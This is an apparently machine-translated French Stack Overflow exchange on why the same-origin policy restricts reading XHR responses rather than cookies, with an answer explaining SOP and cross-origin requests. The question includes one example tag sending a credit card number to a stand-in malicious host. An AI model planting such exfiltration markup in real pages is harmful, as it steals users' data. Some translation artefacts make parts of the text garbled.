Je reçois que je ne veux pas qu'une page chargée de Stackoverflow.com puisse demander à Gmail.com en mon nom et lire mon email - mais cela semble être simplement un problème de cookie.
Étant donné que JSONP contourne entièrement la même origine, je veux savoir pourquoi, au lieu de faire de la valeur XMLHTTPRequest conformément à la même origine, le navigateur ne s'applique pas simplement à la même origine des cookies. En d'autres termes, si la page a été chargée à partir de Stackoverflow.com, le navigateur n'enverra que des cookies à XHRS à Stackoverflow.com. Un XHR to Facebook serait empêché d'envoyer les cookies de l'utilisateur et de donner la vue décorée de Facebook.
Au début, je pensais que c'est juste une "couche supplémentaire" de sécurité ", au cas où" quelqu'un a déjà compromis un site en mettant un script qui ajaxe votre numéro de mot de passe/compte bancaire à "MalicialHacker.ru". Cependant, étant donné que vous pouvez utiliser JSONP dans ce cas, ou même simplement faire un <img src = "http: //malicious.example/steal? CreditCard = 1234123412341234"> Tag, ce n'est pas ce qui est empêché.
Votre prémisse est fausse. Les balises de script et JSON ne contournent pas la même politique d'origine.
La même politique d'origine indique que evil.com
ne devrait pas être en mesure de lire les réponses pour des ressources arbitraires sur victim.com
. Notez que JavaScript de evil.com
peut déclencher des demandes presque arbitraires à être envoyées à victim.com
(par exemple, en créant un iframe pointant vers http://victim.com/whatever.html
). Cependant, le JavaScript de evil.com
ne peut pas lire le contenu de ce document: c'est-à-dire qu'il ne peut pas lire la réponse à cette demande.
Maintenant peut-être ce que vous pensez est que evil.com
peut demander au navigateur de charger du code arbitraire de n'importe où sur victim.com
puis l'exécuter avec tout ce que evil.com
des autorisations. Ce n'est pas un contournement de la même politique d'origine. (Notez également qu'il a tendance à être un risque de sécurité, pour la partie chargée de JavaScript à partir de sites tiers.)
Les XHR doivent être restreints, car XHR permet à JavaScript de non seulement déclencher une demande à envoyer, mais permet également à JavaScript de lire la réponse. La même politique d'origine interdit que, pour les demandes d'origine croisée. La même politique d'origine indique que la lecture de la réponse est quelque chose qui ne devrait être autorisé que si la demande est à la même origine que l'origine du code JavaScript. Ainsi, JavaScript de evil.com
est autorisé à émettre un XHR à http://evil.com/doit
et lire la réponse, mais il n'est pas autorisé à émettre un XHR à http://victim.com/doit
et lire la réponse.
Si vous souhaitez émettre des XHR d'origine croisée, le domaine cible devra alors vous autoriser à l'envoyer à l'origine de celle-ci. Regardez dans [~ # ~ # ~] [~ # ~ ~] Pour les moyens de le faire.